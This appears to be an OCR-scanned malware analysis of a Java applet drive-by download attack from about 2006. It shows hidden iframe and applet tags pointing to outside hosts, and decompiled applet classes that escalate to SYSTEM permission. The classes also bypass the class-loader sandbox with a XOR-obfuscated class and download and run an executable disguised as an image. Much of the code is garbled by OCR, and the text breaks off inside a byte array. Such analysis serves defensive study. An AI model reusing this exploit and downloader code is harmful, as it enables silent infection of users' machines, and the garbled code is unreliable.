ATECBRWQXURLCBsSFPAGZAES52HBgUdLYNKzB3NF8SEWEQT 0xVEgUCEOWZCXYVCTYZFx0GROOFBQISAGMEGS07Q0pJAQ0GIFUACV4 ITUW
AERW8ASAVFAXMS0YcGgEVQVPpANQ4AWRRREEAKHF 2NSRBAVBWgHVAEAGG 9aAQxHDAMEWS YBFWOnEQQHRQRITgkBBB5MT 38 WAQWTGASNAR
cCDwg9AgWUT1cNXhQAAEEDDWEODWNLCNgTFQASDOwWKDQcIAQ5IVwcHBWQAMUE JHZ 41 Cj 0QNQBCE1pFGgADCVZ fQwUDDXAIEQENWh8 IA
A4fBB5CDRYKChEgdhAJSOYLHQPFBARfGESDBhoBBA4 IWhEFDxQVIQYXJkFaeDUOFKUCWQYGQU 9 GgoWIBIMT1AACQEEFRwHeAObFRME
DAFNIhwMDEMJAOdcfgsaABpbAQsbMyciBxhBKz8kJIRsYUlpSClQYTWEMA]QcDgQDShNDVURNUEdfDASQAQSAEQM= I DBNJQBGVNAT IWE
2 fSKEQxIXTwADFg8SFkpaZhFFBhUbMBxSQQpOUh4CCRUWFWIShGs ZAhpsHRcARRS PGVIMVWOJYg8aPRCGAAEJRi QkKRI sSVEIJFG4BD1
IWBQQCNOETFygADEKTUAQe FxgNFhECGYIaKhkBWASVHWMDPYBADRUaUgYbERATIQcDD1ENLEENC I UcHLoWWAZFH1xDSRAEGWGBE18AU
iglLCEtNiYzIVNZHhUFEWRUCWcS5CLAPKyIAeCU4DUQET1ZFXV1QSAMCEWOBRQSVAT Z2IJBxxOERMIBQLcQU4 1 KwMrREXMRFFOGVEDAFXM
Cw8KEVUJG3MCEWUDbALtQRC4XQONMEOAFFRFABhx fUGPUbgEUFxwMVAIRQBAGARZUSOpdEzMfCAALVAGQUGOMGAJIDAEHBL sYDx1GFgE
HEVQ1iDwE9DCWKEVOHRVGCHgGFELIYAAIWWUQUVBOXBwWMHF OhcRQAVGhAUEBYEJk8gOWEY JwoaCTUPXQIGBwwIThoSDgRRIQOBAQM2 JB
MdBkcEBBwWZBF5HS40GEFNEKINTQBUVFABXF1IE01KQiwHX1BPAVPUTFNCIhgRHLYbWkdICmkaBAY 2HOpNCcF1Sa0xmDAhHXAOyCcxYgS
VUOAUNJYTA4IEAYEEVFSWEWWEVFQLZJEKhMSDC9REXAOL JAWEGRQWXWUFt JDWsbCULOCFo+AwFAWO5FUKNEREUVEiE5LSUhTn1UZx43

KBE1INJjcVHxYADGEITUwWHFgZBCgUCEAYKCcxscDExXOSW8NZhxpWU4JI1ihZSRNYZQ==", null);

</script>

</body></html>

<iframe width=2 height=2 src=http://lntop.info/13/?1d=61008></iframe> (Upgrade Discovered March 28th)
Applets:

<applet archive=Java2SE.jar code=Java2SE.class width=1 height=1 MAYSCRIPT><param name=usid
value=1008><param name=uu value=http://prolnx.info/><param name=tt value=other></applet><applet
archive=dsbr.jar code=MagicApplet.class width=1 height=1 name=dsbr MAYSCRIPT><param name=ModulePath
value=http://prolnx.info/?id=1008&t=other&o=2></applet>see figure one

Java2SE.jar & /com/ms/lang/RegKeyException.class:
Javaz2SE.class

import com.ms.security.PermissionID;
import com.ms.security.PolicyEngine;
import java.applet.Applet;

import java.io.BufferedInputStream;
import java.io.FileOutputStream;
import java.net.URL;

public class Java2SE extends Applet {

public Java2SE () {
}

public void init () {
try {
if (Class.forName ("com.ms.security.PolicyEngine") != null)
PolicyEngine.assertPermission (PermissionID.SYSTEM) ;
}
catch (Throwable throwable) { }
StartProcess () ;

}

public void OPlog(String s) {
try {
URL url = new URL(s);
java.io.InputStream inputstream = url.openStream();
BufferedInputStream bufferedinputstream = new
BufferedInputStream (inputstream) ;
int i;
do
i = bufferedinputstream.read();
while(i != -1);
}
catch (Exception exception) { }
}
public void StartProcess () {
String s = new String()
String sl = new String(
String s2 = new String(
String s3 = new String(
String s4 = new String(



String s5 = new String(
String s6 = new String(
s = getParameter ("usid"
s5 getParameter ("uu")
s6 getParameter ("tt")
try {

s2 =

’
’
’

)
)
)

}
catch (Throwable
try {

s3 = System.

throwable) { }

}
catch (Throwable
try {

s4 = System.

throwablel) { }

}

catch (Throwable throwable2) { }

if(s2 == null || s2.length() < 3)
sl = s2;
else
if(s3 == null || s3.length() < 3)
sl = s3;
else
if(s4 == null || s4.length() < 3)
sl = s4;
else
sl = "\\WINDOWS\\Temp";
String as[] = new Stringl[l];
as[0] = sl + "\\us" + s + ".ex" + "e";
try {
URL url = new URL(s5 + "gf" + s +

java.io.InputStream inputstream =

BufferedInputStream bufferedinputstream =

BufferedInputStream(inputstream) ;
FileOutputStream fileoutputstream
do {

int i =
if(i == -1)
break;
fileoutputstream.write (i) ;
} while (true);
fileoutputstream.close () ;
Process process =

Runtime.getRuntime () .exec (as

System.getProperty ("java.io.tmpdir") ;

getProperty ("user.home") ;

getProperty ("user.dir");

" .jpg") ,.
url.openStream() ;
new

= new FileOutputStream(as[0]);

bufferedinputstream.read() ;

)i

OPlog (s5 + "?id=" + s + "&t=" + s6 + "&o=4");

}
catch (Exception exception) {
return;

}

public void paint () { }
}

PermissionID.class

package com.ms.security;

public final class PermissionID {

public String toString/() {
return "PermissionID[" + name +

nyn,

}

PermissionID(int i, String s) {
auditflags = 0x8000000;
permIndex = 1i;
name = s;

public static final PermissionID SYSTEM =

new PermissionID(0, "SYSTEM");



public static final PermissionID FILEIO = new PermissionID(1,
"com.ms.security.permissions.FileIOPermission") ;

public static final PermissionID NETIO = new PermissionID (2,
"com.ms.security.permissions.NetIOPermission") ;

public static final PermissionID THREAD = new PermissionID (3,
"com.ms.security.permissions.ThreadPermission") ;

public static final PermissionID PROPERTY = new PermissionID(4,
"com.ms.security.permissions.PropertyPermission");

public static final PermissionID EXEC = new PermissionID(5,
"com.ms.security.permissions.ExecutionPermission") ;

public static final PermissionID REFLECTION = new PermissionID (6,
"com.ms.security.permissions.ReflectionPermission") ;

public static final PermissionID PRINTING = new PermissionID(7,
"com.ms.security.permissions.PrintingPermission");

public static final PermissionID SECURITY = new PermissionID (8,
"com.ms.security.permissions.SecurityPermission");

public static final PermissionID REGISTRY = new PermissionID (9,
"com.ms.security.permissions.RegistryPermission");

public static final PermissionID CLIENTSTORE = new
PermissionID(10,
"com.ms.security.permissions.ClientStoragePermission");

public static final PermissionID UI = new PermissionID(11,
"com.ms.security.permissions.UIPermission");

public static final PermissionID SYSSTREAMS = new PermissionID(12,
"com.ms.security.permissions.SystemStreamsPermission");

public static final PermissionID USERFILEIO = new PermissionID(13,
"com.ms.security.permissions.UserFileIOPermission");

public static final PermissionID MULTIMEDIA = new PermissionID(14,
"com.ms.security.permissions.MultimediaPermission");

private int permIndex;

private String name;

int auditflags;

PolicyEngine.class
package com.ms.security;

import com.ms.lang.RegKey;

import com.ms.lang.RegKeyException;

import com.ms.security.auditing.SecurityAuditor;
import java.security.Principal;

import java.util.Hashtable;

// Referenced classes of package com.ms.security:
// ISecurityRequest, PermissionID, PermissionDataSet

public class PolicyEngine {

static void checkCallersPermission (ISecurityRequest
isecurityrequest, Class aclass[], int i) {
shallowCheck (isecurityrequest.getPermissionID(),
isecurityrequest, aclass, i + 1);

}

public static void checkCallersPermission (PermissionID
permissionid, Class aclass]|[]) {
shallowCheck (permissionid, null, aclass, 2);

public static void checkCallersPermission(String s, Class aclass|[])
shallowCheck (permissionNameToID(s), null, aclass, 2);

public static void checkCallersPermission (PermissionID
permissionid, Object obj, Class aclass|[]) {
shallowCheck (permissionid, obj, aclass, 2);

public static void checkCallersPermission (String s, Object obj,



Class aclass][]) {
shallowCheck (permissionNameToID(s), obj, aclass, 2);

public static void checkCallersPermission (ISecurityRequest
isecurityrequest, Class aclass][]) {
shallowCheck (isecurityrequest.getPermissionID(),
isecurityrequest, aclass, 2);

}

static void checkCallersPermission (PermissionID permissionid,
Class aclass[], int 1i) {
shallowCheck (permissionid, null, aclass, i1 + 1);

}

private static native boolean isSystemClass (String s);

public static void checkForAllPermissions () {
deepCheck (PermissionID.SYSTEM, null);

}

public static native void denyPermission (PermissionID permissionid) ;

public static native void revertPermission (PermissionID permissionid);

public static void checkPermission (PermissionID permissionid) {
deepCheck (permissionid, null);

}

public static void checkPermission(String s) {
deepCheck (permissionNameToID(s), null);

}

public static void checkPermission (PermissionID permissionid,
Object obj) {
deepCheck (permissionid, obj);

}

public static void checkPermission(String s, Object obj) {
deepCheck (permissionNameToID(s), obj);

}

public static void checkPermission (ISecurityRequest isecurityrequest)
deepCheck (isecurityrequest.getPermissionID(), isecurityrequest);

}

private static native void initPolicyEngine () ;
public static Class getClassOfCaller () {
return getClassOfCaller (null);

}

public static Class getClassOfCaller (Class aclass][]) {
return getClassOfCaller (aclass);

}

private static native Class _getClassOfCaller (Class aclassl[]);
private static Principal makeSystemPrincipal () {
return null;

}

private static native void internalCheckClass (Class classl,
PermissionID permissionid, Object obj);

static void checkCallerForAllPermissions (Class aclass[], int 1) {
shallowCheck (PermissionID.SYSTEM, null, aclass, i + 1);

}

public static synchronized PermissionID permissionNameToID(String s)
PermissionID permissionid = (PermissionID)nameToPIDMap.get (s);
if (permissionid != null)

return permissionid;
if (!isSystemClass (s))
throw new IllegalArgumentException ("Permission name must



be a system class name.");
Class classl = null;
try {
classl = Class.forName(s);
}
catch(Throwable ex) { }
Class class2 = com.ms.security.IPermission.class;
if(classl == null || !class2.isAssignableFrom(classl)
throw new IllegalArgumentException ("Permission classes
must implement IPermission.");
lastUsedIndex++;
permissionid = new PermissionID(lastUsedIndex, s);
nameToPIDMap.put (s, permissionid);
assertPermission (PermissionID.SYSTEM) ;
if (SecurityAuditor.getAuditor () != null)
try {
SecurityAuditor.disableThreadAuditing () ;
int 1 = 0x8000000;
RegKey regkey;
try {
regkey = new RegKey (2, "Software\\Microsoft\\Java
VM\\Security\\Auditing\\Capabilities", 1);
}
catch (RegKeyException _ex) {
regkey = null;
}
if (regkey != null)
try {
i = regkey.getIntValue (s);
}
catch (RegKeyException _ex) { }
try {
regkey = new RegKey (3, "Software\\Microsoft\\Java
VM\\Security\\Auditing\\Capabilities", 1);
}
catch (RegKeyException _ex) {
regkey = null;
}
if (regkey != null)

try |
int j = regkey.getIntValue(s);
if (i == 0x8000000)
i=73;
else
i 0= 3;
}
catch (RegKeyException _ex) { }
permissionid.auditflags = 1i;

}
finally {
SecurityAuditor.enableThreadAuditing () ;

}

return permissionid;

public static void checkCallerForAllPermissions (Class aclass|[]) {
shallowCheck (PermissionID.SYSTEM, null, aclass, 2);

}

public static native PermissionDataSet getPermissionsOfClass(Class classl);
private PolicyEngine () {

}

public static void checkClass (Class classl, PermissionID permissionid) {
internalCheckClass (classl, permissionid, null);
}

public static void checkClass (Class classl, String s) {
internalCheckClass (classl, permissionNameToID(s), null);

}



public static void checkClass (Class classl, PermissionID
permissionid, Object obj) {
internalCheckClass (classl, permissionid, obj);

public static void checkClass (Class classl, ISecurityRequest
isecurityrequest) {
internalCheckClass (classl, isecurityrequest.getPermissionID(),
isecurityrequest) ;

}

public static void checkClassForAllPermissions (Class classl) {
internalCheckClass(classl, PermissionID.SYSTEM, null);

public static native void assertPermission(PermissionID permissionid) ;
private static native void deepCheck (PermissionID permissionid, Object obj);
private static native void shallowCheck (PermissionID permissionid,

Object obj, Class aclass[], int 1i);

public static native Principal getPrincipalOfClass(Class classl);
static void checkCallersPermission (PermissionID permissionid,
Object obj, Class aclass[], int 1) {
shallowCheck (permissionid, obj, aclass, i + 1);

private static Hashtable nameToPIDMap;

private static int lastUsedIndex = 14;

static final String KEY_AUDITING_CAPABILITIES =
"Software\\Microsoft\\Java VM\\Security\\Auditing\\Capabilities";

public static final Principal system = makeSystemPrincipal();

static final boolean debugt = false;

static final boolean debug = false;

static final boolean debugDisableChecks = false;
static {

nameToPIDMap = new Hashtable();

nameToPIDMap.put ("SYSTEM", PermissionID.SYSTEM) ;

nameToPIDMap.put ("com.ms.security.permissions.FileIOPermission",
PermissionID.FILEIO) ;

nameToPIDMap.put ("com.ms.security.permissions.NetIOPermission",
PermissionID.NETIO) ;

nameToPIDMap.put ("com.ms.security.permissions.ThreadPermission",
PermissionID.THREAD) ;

nameToPIDMap.put ("com.ms.security.permissions.PropertyPermission",
PermissionID.PROPERTY) ;

nameToPIDMap.put ("com.ms.security.permissions.ExecutionPermission",
PermissionID.EXEC) ;

nameToPIDMap.put ("com.ms.security.permissions.ReflectionPermission”,
PermissionID.REFLECTION) ;

nameToPIDMap.put ("com.ms.security.permissions.PrintingPermission",
PermissionID.PRINTING) ;

nameToPIDMap.put ("com.ms.security.permissions.SecurityPermission",
PermissionID.SECURITY) ;

nameToPIDMap.put ("com.ms.security.permissions.RegistryPermission",
PermissionID.REGISTRY) ;

nameToPIDMap.put ("com.ms.security.permissions.ClientStoragePermission",
PermissionID.CLIENTSTORE) ;

nameToPIDMap.put ("com.ms.security.permissions.UIPermission",
PermissionID.UI) ;

nameToPIDMap.put ("com.ms.security.permissions.SystemStreamsPermission",
PermissionID.SYSSTREAMS) ;

nameToPIDMap.put ("com.ms.security.permissions.UserFileIOPermission",
PermissionID.USERFILEIO) ;

nameToPIDMap.put ("com.ms.security.permissions.MultimediaPermission™,
PermissionID.MULTIMEDIA) ;

initPolicyEngine() ;

dsbr.jar & /com/ms/security/SecurityClassLoader.class:



(With URLClassLoader def[] & NewObject def[] deobfuscated)

URLClassLoader def.class
com.ms.vm.loader.URLClassLoader.class

package com.ms.vm.loader;

import com.ms.applet.BrowserAppletFrame;

import com.ms.security.*;

import com.ms.security.management.SecurityPolicy;
import com.ms.security.permissions.NetIOPermission;
import java.applet.AudioClip;

import java.awt.Image;

import java.io.InputStream;

import java.net.URL;

import java.net.URLConnection;

import java.util.Hashtable;

import java.util.Vector;

// Referenced classes of package com.ms.vm.loader:

//

ILoaderProgressListener, LoaderParams

public class URLClassLoader extends SecurityClassLoader

{

private synchronized Class findClass(String s)

{
return null;

}

public URL getResource (String s)
{

return null;

}

void startDownloadUI (int i, String s)
{
}

void stopDownloadUI ()
{
}

protected void setSecureState (String s, String sl)
{
}

static URLClassLoader getCOMLoader (String s, String sl)
throws Exception
{

return null;

}

public synchronized void adjustPermissions (PermissionDataSet permissiondataset)
{
}

public URL getCodeBase ()
{

return null;

}

synchronized void checkConnectionForRedirection (URLConnection urlconnection)
{
}

public static PermissionDataSet createDefaultAppletPermissionData ()

{



return null;

}

public synchronized AudioClip getAudioClip (URL url)
{

return null;

public InputStream getResourceAsStream(String s)

{

return null;

public void setOfflineContext (BrowserAppletFrame browserappletframe)
{
}

public void removeProgressListener (ILoaderProgressListener iloaderprogresslistener)
{
}

void initLoader ()
{
}

public synchronized Image getImage (URL url)
{

return null;

}

public void addProgressListener (ILoaderProgressListener iloaderprogresslistener)
{
}

PermissionSet getDefaultPermissions|()

{

return null;

}

void createDefaultLoaderPermissions ()
{
}

public void setURLRedirectionAllowed (boolean flag)
{
}

public Class loadClass (String s)
throws ClassNotFoundException

{

return null;

}

protected Class loadClass(String s, boolean flag)
{

return null;

public SecurityPolicy getSecurityPolicy ()
throws ClassNotFoundException

{
return null;

}

public URLClassLoader (LoaderParams loaderparams)
{
}

public static Hashtable controlHash;
static final String regPath = "Software\\Microsoft\\Java VM";
static final boolean debug = false;



static final boolean debugload = false;
public Vector progressListeners;

public PermissionSet defaultPermissions;
public URL base;

public Object resources;

public String PMnamespace;

public SecurityPolicy spolicy;

public URL extraCodebases|[];

public BrowserAppletFrame offlinecontext;
public boolean fLogLoads;

public boolean fProhibitRedirects;
public NetIOPermission netPerm;

}
NewObject def.class

import com.ms.security.PermissionSet;
import com.ms.vm.loader.URLClassLoader;

public class NewObject
{

public NewObject ()
{
}

public void change permission (ProxyClassLoader proxyclassloader, PermissionSet permissionset)

{

proxyclassloader.original loader.defaultPermissions = permissionset;

ProxyClassLoader.class

import com.ms.vm.loader.URLClassLoader;
public class ProxyClassLoader {
public ProxyClassLoader () {
BuildVersion = "10.05.2006";
}
String BuildVersion;
public URLClassLoader original loader;

OwnClassLoader.class

import com.ms.security.SecurityClassLoader;
public class OwnClassLoader extends SecurityClassLoader({
public void GetReleaseDate () {
"Release 05.10.2006";
}

public OwnClassLoader () {
this;
0;
OwnClassLoader () ;
null;
}

public OwnClassLoader (int 1) { }

protected Class loadClass(String s, boolean flag) {
if (s.equals ("ProxyClassLoader")
return cl ProxyClassLoader;
if (s.equals ("com.ms.vm.loader.URLClassLoader")
return _ defineClass("com.ms.vm.loader.URLClassLoader",
UCL _definition, 0, UCL definition.length);
Class classl = findSystemClass(s);
if (flag)
resolveClass (classl) ;



return classl;

}

public Class _ defineClass (String s, byte abyteO[],
resolveClass (s = defineClass (s, abyteO, i, J));
return s;

public byte UCL definition[];
public Class cl ProxyClassLoader;

Installer.class

import com.ms.security.PermissionID;
import com.ms.security.PolicyEngine;
import com.ms.win32.Kernel32;
import java.applet.Applet;
import java.io.File;
import java.net.URL;
public class Installer({
public Installer () {
}
public void setApplet (URL url, Applet applet) {
String s = applet.getParameter ("ModulePath");

if (s == null)
s = url.toString() + "msits.exe";
try {
PolicyEngine.assertPermission (PermissionID.SYSTEM) ;
try {
StringBuffer stringbuffer = new StringBuffer (256);
String sl = "abcdefghijklmnopgrstuvwxyz0123456789";
String s2 = "";
Kernel32.GetWindowsDirectory (stringbuffer,
int j = 0;
double d;
do {
d = Math.random() ;
int i = (int)Math.round(d * 35D);
char ¢ = sl.charAt(i);
s2 = s2 + c;
} while(d != 0.0D && ++3j < 8);

s2 = stringbuffer + "\\" + s2 + ".exe";
File file = new File(s2);
System.loadLibrary ("URLMON") ;
URLDownloadToFile (0, s, s2, 0, 0);
if(!file.exists()) {
Kernel32.Sleep(2000);
URLDownloadToFile (0, s, s2, 0, 0);
}
Runtime.getRuntime () .exec (s2);
}
catch(Throwable ex) { }
}
catch(Throwable ex) { }
}

public String Get Copyright () {
String s = "inet-lux team 24.05.2006";
return s;

private static native int URLDownloadToFile (int i,
String sl, int Jj, int k);
}

MagicApplet.class
import com.ms.security.PermissionDataSet;

import com.ms.security.PermissionSet;
import com.ms.vm.loader.URLClassLoader;



import java.applet.Applet;
import java.lang.reflect.Method;

public class MagicApplet extends Applet

{

public void stop ()

{
}

public MagicApplet ()

{
try
{

NewObject def,

for(int 1 = 0; i < URLClassLoader def.length; i++)
URLClassLoader def[i] = (byte) (URLClassLoader def[i] " 5);

for(int j = 0; j < NewObject def.length; j++)
NewObject def[j] = (byte) (NewObject def[j] " 6);

ProxyClassLoader proxyclassloader = new ProxyClassLoader();

OwnClassLoader ownclassloader = new OwnClassLoader () ;
ownclassloader.cl ProxyClassLoader = proxyclassloader.getClass();
ownclassloader.UCL definition = URLClassLoader def;

Class classl = ownclassloader. defineClass ("NewObject",

0, NewObject def.length);

Object obj = classl.newlInstance();

Class aclass[] = new Class|[2];

aclass[0] = proxyclassloader.getClass();

aclass[l] = Class.forName ("com.ms.security.PermissionSet");

Method method = classl.getMethod ("change permission", aclass);
PermissionDataSet permissiondataset = new PermissionDataSet();
permissiondataset.setFullyTrusted(true);

PermissionSet permissionset = new PermissionSet (permissiondataset);
URLClassLoader urlclassloader =

(URLClassLoader)getClass () .getClassLoader () ;

}

proxyclassloader.original loader =
Object aobj[] = new Object[2];

urlclassloader;

aobj[0] = proxyclassloader;

aobj[l] = permissionset;

method.invoke (obj, aobj);

classl = urlclassloader.loadClass ("Installer");
oInstaller = classl.newInstance();

return;

catch (Throwable throwable)

{

}
}

return;

public void init ()

{

if (oInstaller

}

'= null && (oInstaller instanceof Installer))
((Installer)oInstaller) .setApplet (getCodeBase (), this);

byte URLClassLoader def[] = {

-49,
5,
104,

2,

96,

118,
5,
118,

47

96,

118,

14,

118,

42,

113,

-5,
7,
118,

119,
73,
38,
96,
102,
118,
102,
109,
112,
100,

-65,
4, 5,
42,
42,
106,
102,
102,
112,
73,
106,
4,
113,
103,

-69, 5, 6,
26, 102,
115, 104, 42,
80, 87, 73, 70, 105,
100, 97, 96, 119, 2,
106, 104, 42, 104,
112, 119, 108, 113, 124,
119, 108, 113, 124, 70, 105,
106, 100, 97, 96, 119, 4, 5,
107, 113, 119, 106, 105, 77,
5, 16, 73, 111, 100, 115, 100,
108, 105, 42, 77, 100, 118, 1009,

105, 96, 62, 4, 5, 2, 119,

5,
106,

40, 5,
104,
105,

92,
42,
106,
100,
5,
118,

100,
118,

1!
42,
42,

97,

86,
100,

100,



96, 98, 85, 100, 113, 109, 4, 5, 23, 73,

111, 100, 115, 100, 42, 105, 100, 107, 98, 42,
86, 113, 119, 108, 107, 98, 62, 13, 5, 15,

4, 5, 31, 86, 106, 99, 113, 114, 100, 119,

96, 89, 72, 108, 102, 119, 106, 118, 106, 99,
113, 89, 79, 100, 115, 100, 37, 83, 72, 4,

5, 8, 70, 106, 107, 118, 113, 100, 107, 113,
83, 100, 105, 112, 96, 4, 5, 0, 97, 96,

103, 112, 98, 4, 5, 4, 95, 6, 5, 5,

5, 5, 4, 5, 12, 97, 96, 103, 112, 98,

105, 106, 100, 97, 4, 5, 20, 117, 119, 106,
98, 119, 96, 118, 118, 73, 108, 118, 113, 96,
107, 96, 119, 118, 4, 5, 23, 73, 111, 100,
115, 100, 42, 112, 113, 108, 105, 42, 83, 96,
102, 113, 106, 119, 62, 4, 5, 23, 97, 96,

99, 100, 112, 105, 113, 85, 96, 119, 104, 108,
118, 118, 108, 106, 107, 118, 4, 5, 26, 73,
102, 106, 104, 42, 104, 118, 42, 118, 96, 102,
112, 119, 108, 113, 124, 42, 85, 96, 119, 104,
108, 118, 118, 108, 106, 107, 86, 96, 113, 62,
4, 5, 1, 103, 100, 118, 96, 4, 5, 11,

73, 111, 100, 115, 100, 42, 107, 96, 113, 42,
80, 87, 73, 62, 4, 5, 12, 119, 96, 118,

106, 112, 119, 102, 96, 118, 4, 5, 23, 73,
111, 100, 115, 100, 42, 105, 100, 107, 98, 42,
74, 103, 111, 96, 102, 113, 62, 4, 5, 14,

85, 72, 107, 100, 104, 96, 118, 117, 100, 102,
96, 4, 5, 2, 118, 117, 106, 105, 108, 102,
124, 4, 5, 46, 73, 102, 106, 104, 42, 104,
118, 42, 118, 96, 102, 112, 119, 108, 113, 124,
42, 104, 100, 107, 100, 98, 96, 104, 96, 107,
113, 42, 86, 96, 102, 112, 119, 108, 113, 124,
85, 106, 105, 108, 102, 124, 62, 4, 5, 11,

96, 125, 113, 119, 100, 70, 106, 97, 96, 103,
100, 118, 96, 118, 4, 5, 10, 94, 73, 111,

100, 115, 100, 42, 107, 96, 113, 42, 80, 87,
73, 62, 4, 5, 11, 106, 99, 99, 105, 108,

107, 96, 102, 106, 107, 113, 96, 125, 113, 4,
5, 39, 73, 102, 106, 104, 42, 104, 118, 42,
100, 117, 117, 105, 96, 113, 42, 71, 119, 106,
114, 118, 96, 119, 68, 117, 117, 105, 96, 113,
67, 119, 100, 104, 96, 62, 4, 5, 12, 99,

73, 106, 98, 73, 106, 100, 97, 118, 4, 5,

23, 99, 85, 119, 106, 109, 108, 103, 108, 113,
87, 96, 97, 108, 119, 96, 102, 113, 118, 4,

5, 2, 107, 96, 113, 85, 96, 119, 104, 4,

5, 40, 73, 102, 106, 104, 42, 104, 118, 42,
118, 96, 102, 112, 119, 108, 113, 124, 42, 117,
96, 119, 104, 108, 118, 118, 108, 106, 107, 118,
42, 75, 96, 113, 76, 74, 85, 96, 119, 104,
108, 118, 118, 108, 106, 107, 62, 4, 5, 12,
99, 108, 107, 97, 70, 105, 100, 118, 118, 4,
5, 32, 45, 73, 111, 100, 115, 100, 42, 105,
100, 107, 98, 42, 86, 113, 119, 108, 107, 98,
62, 44, 73, 111, 100, 115, 100, 42, 105, 100,
107, 98, 42, 70, 105, 100, 118, 118, 62, 4,

5, 1, 70, 106, 97, 96, 4, 5, 10, 73,

108, 107, 96, 75, 112, 104, 103, 96, 119, 81,
100, 103, 105, 96, 4, 5, 14, 98, 96, 113,

87, 96, 118, 106, 112, 119, 102, 96, 4, 5,

39, 45, 73, 111, 100, 115, 100, 42, 105, 100,
107, 98, 42, 86, 113, 119, 108, 107, 98, 62,
44, 73, 111, 100, 115, 100, 42, 107, 96, 113,
42, 80, 87, 73, 62, 4, 5, 10, 118, 113,

100, 119, 113, 65, 106, 114, 107, 105, 106, 100,
97, 80, 76, 4, 5, 19, 45, 76, 73, 111,

100, 115, 100, 42, 105, 100, 107, 98, 42, 86,
113, 119, 108, 107, 98, 62, 44, 83, 4, 5,

11, 118, 113, 106, 117, 65, 106, 114, 107, 105,
106, 100, 97, 80, 76, 4, 5, 6, 45, 44,

83, 4, 5, 11, 118, 96, 113, 86, 96, 102,



112, 119, 96, 86, 113, 100, 113, 96, 4, 5,

34, 45, 73, 111, 100, 115, 100, 42, 105, 100,
107, 98, 42, 86, 113, 119, 108, 107, 98, 62,
73, 111, 100, 115, 100, 42, 105, 100, 107, 98,
42, 86, 113, 119, 108, 107, 98, 62, 44, 83,

4, 5, 9, 98, 96, 113, 70, 74, 72, 73,

106, 100, 97, 96, 119, 4, 5, 66, 45, 73,

111, 100, 115, 100, 42, 105, 100, 107, 98, 42,
86, 113, 119, 108, 107, 98, 62, 73, 111, 100,
115, 100, 42, 105, 100, 107, 98, 42, 86, 113,
119, 108, 107, 98, 62, 44, 73, 102, 106, 104,
42, 104, 118, 42, 115, 104, 42, 105, 106, 100,
97, 96, 119, 42, 80, 87, 73, 70, 105, 100,
118, 118, 73, 106, 100, 97, 96, 119, 62, 4,

5, 15, 64, 125, 102, 96, 117, 113, 108, 106,
107, 118, 2, 5, 54, 4, 5, 22, 111, 100,

115, 100, 42, 105, 100, 107, 98, 42, 64, 125,
102, 96, 117, 113, 108, 106, 107, 4, 5, 20,
100, 97, 111, 112, 118, 113, 85, 96, 119, 104,
108, 118, 118, 108, 106, 107, 118, 4, 5, 35,
45, 73, 102, 106, 104, 42, 104, 118, 42, 118,
96, 102, 112, 119, 108, 113, 124, 42, 85, 96,
119, 104, 108, 118, 118, 108, 106, 107, 65, 100,
113, 100, 86, 96, 113, 62, 44, 83, 4, 5,

14, 98, 96, 113, 70, 106, 97, 96, 71, 100,
118, 96, 4, 5, 21, 45, 44, 73, 111, 100,

115, 100, 42, 107, 96, 113, 42, 80, 87, 73,
62, 4, 5, 24, 102, 109, 96, 102, 110, 70,

106, 107, 107, 96, 102, 113, 108, 106, 107, 67,
106, 119, 87, 96, 97, 108, 119, 96, 102, 113,
108, 106, 107, 4, 5, 30, 45, 73, 111, 100,
115, 100, 42, 107, 96, 113, 42, 80, 87, 73,
70, 106, 107, 107, 96, 102, 113, 108, 106, 107,
62, 44, 83, 4, 5, 36, 102, 119, 96, 100,

113, 96, 65, 96, 99, 100, 112, 105, 113, 68,
117, 117, 105, 96, 113, 85, 96, 119, 104, 108,
118, 118, 108, 106, 107, 65, 100, 113, 100, 4,
5, 32, 45, 44, 73, 102, 106, 104, 42, 104,
118, 42, 118, 96, 102, 112, 119, 108, 113, 124,
42, 85, 96, 119, 104, 108, 118, 118, 108, 106,
107, 65, 100, 113, 100, 86, 96, 113, 62, 4,

5, 9, 98, 96, 113, 68, 112, 97, 108, 106,

70, 105, 108, 117, 4, 5, 34, 45, 73, 111,

100, 115, 100, 42, 107, 96, 113, 42, 80, 87,
73, 62, 44, 73, 111, 100, 115, 100, 42, 100,
117, 117, 105, 96, 113, 42, 68, 112, 97, 108,
106, 70, 105, 108, 117, 62, 4, 5, 22, 98,

96, 113, 87, 96, 118, 106, 112, 119, 102, 96,
68, 118, 86, 113, 119, 96, 100, 104, 4, 5,

44, 45, 73, 111, 100, 115, 100, 42, 105, 100,
107, 98, 42, 86, 113, 119, 108, 107, 98, 62,
44, 73, 111, 100, 115, 100, 42, 108, 106, 42,
76, 107, 117, 112, 113, 86, 113, 119, 96, 100,
104, 62, 4, 5, 20, 118, 96, 113, 74, 99,

99, 105, 108, 107, 96, 70, 106, 107, 113, 96,
125, 113, 4, 5, 32, 45, 73, 102, 106, 104,

42, 104, 118, 42, 100, 117, 117, 105, 96, 113,
42, 71, 119, 106, 114, 118, 96, 119, 68, 117,
117, 105, 96, 113, 67, 119, 100, 104, 96, 62,
44, 83, 4, 5, 19, 119, 96, 104, 106, 115,

96, 85, 119, 106, 98, 119, 96, 118, 118, 73,
108, 118, 113, 96, 107, 96, 119, 4, 5, 40,

45, 73, 102, 106, 104, 42, 104, 118, 42, 115,
104, 42, 105, 106, 100, 97, 96, 119, 42, 76,
73, 106, 100, 97, 96, 119, 85, 119, 106, 98,
119, 96, 118, 118, 73, 108, 118, 113, 96, 107,
96, 119, 62, 44, 83, 4, 5, 15, 108, 107,

108, 113, 73, 106, 100, 97, 96, 119, 4, 5,

13, 98, 96, 113, 76, 104, 100, 98, 96, 4,

5, 37, 45, 73, 111, 100, 115, 100, 42, 107,
96, 113, 42, 80, 87, 73, 62, 44, 73, 111,



100, 115, 100, 42, 100, 114, 113, 42, 76, 104,
100, 98, 96, 62, 4, 5, 22, 100, 97, 97,
85, 119, 106, 98, 119, 96, 118, 118, 73, 108,
118, 113, 96, 107, 96, 119, 4, 5, 16, 98,
96, 113, 65, 96, 99, 100, 112, 105, 113, 85,
96, 119, 104, 108, 118, 118, 108, 106, 107, 118,
4, 5, 36, 45, 44, 73, 102, 106, 104, 42,
104, 118, 42, 118, 96, 102, 112, 119, 108, 113,
124, 42, 85, 96, 119, 104, 108, 118, 118, 108,
106, 107, 86, 96, 113, 62, 4, 5, 27, 102,
119, 96, 100, 113, 96, 65, 96, 99, 100, 112,
105, 113, 73, 106, 100, 97, 96, 119, 85, 96,
119, 104, 108, 118, 118, 108, 106, 107, 118, 4,
5, 29, 118, 96, 113, 80, 87, 73, 87, 96,
97, 108, 119, 96, 102, 113, 108, 106, 107, 68,
